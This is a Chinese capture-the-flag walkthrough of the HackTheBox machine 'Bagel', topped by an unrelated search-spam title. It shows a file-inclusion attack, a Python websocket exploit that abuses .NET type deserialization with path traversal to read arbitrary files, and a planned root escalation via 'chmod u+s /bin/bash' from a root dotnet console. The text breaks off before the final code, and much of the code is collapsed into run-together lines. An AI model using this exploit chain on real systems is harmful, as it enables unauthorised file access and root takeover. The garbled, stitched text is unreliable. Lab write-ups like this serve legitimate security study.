建设官方网站怎么修改预留手机/汕头百度网络推广
一、namp扫描到5000 8000 22 端口
二、访问8000端口,看到跳转到域名bagel.htb,加入到hosts
看到该url 像文件包含,尝试fuzz一波
尝试找公私钥均未果,找到了cmdline
进一步对其包含
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Mon, 15 May 2023 05:28:18 GMT
Content-Disposition: inline; filename=app.py
Content-Type: text/x-python; charset=utf-8
Content-Length: 1235
Last-Modified: Sun, 23 Oct 2022 14:06:13 GMT
Cache-Control: no-cache
ETag: "1666533973.0-1235-3339458021"
Date: Mon, 15 May 2023 05:28:18 GMT
Connection: closefrom flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,jsonapp = Flask(__name__)@app.route('/')
def index():if 'page' in request.args:page = 'static/'+request.args.get('page')if os.path.isfile(page):resp=send_file(page)resp.direct_passthrough = Falseif os.path.getsize(page) == 0:resp.headers["Content-Length"]=str(len(resp.get_data()))return respelse:return "File not found"else:return redirect('http://bagel.htb:8000/?page=index.html', code=302)@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.try:ws = websocket.WebSocket() ws.connect("ws://127.0.0.1:5000/") # connect to order apporder = {"ReadOrder":"orders.txt"}data = str(json.dumps(order))ws.send(data)result = ws.recv()return(json.loads(result)['ReadOrder'])except:return("Unable to connect")if __name__ == '__main__':app.run(host='0.0.0.0', port=8000)
don’t forget to run the order app first with “dotnet <path to .dll>” command. Use your ssh key to access the machine
这一句话 引起了我的注意 他的意思是使用 donet <dll 的路径 >
我们得想办法拿到dll的路径
想到可以包含 /proc/进程号/cmdline 来爆破
得到bagel.dll 使用dnspy进行反编译
这里找到了账号密码,但是限制了ssh 登录
该属性有getter和setter两个方法,可以通过属性来获取ReadOrder的值;
当设置ReadOrder变量的值时,首先会将该值中的“/”和“…”字符替换为空字符串,以防止目录穿越攻击。然后,将order_filename变量设置为过滤后的值,最后将file.ReadFile设置为order_filename的值,以指定要读取的文件路径。
当读取ReadOrder变量的值时,会返回file.ReadFile的值,即当前指定的要读取的文件的内容
结合上面获取到的python源码,编写一个读取文件的脚本
import sys
import websocket
import jsonif len(sys.argv) < 2:print(f"Usage: python3 {sys.argv[0]} <filename>")sys.exit(1)ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": f"../../../../../../../{sys.argv[1]}"}}
data = str(json.dumps(order))
ws.send(data)
output = ws.recv()
json = json.loads(output)
print(json["RemoveOrder"]["ReadFile"])
使用前面得到的developer 账户的密码看看
发现 成功进来 并且 developer 账户可以以root权限 使用dotnet 命令
在这种情况下,让我们以root身份打开.NET交互式控制台(fsi)。
在交互式控制台中,我们可以用F#语言编写代码,执行命令 “chmod u+s /bin/bash”
执行的代码为: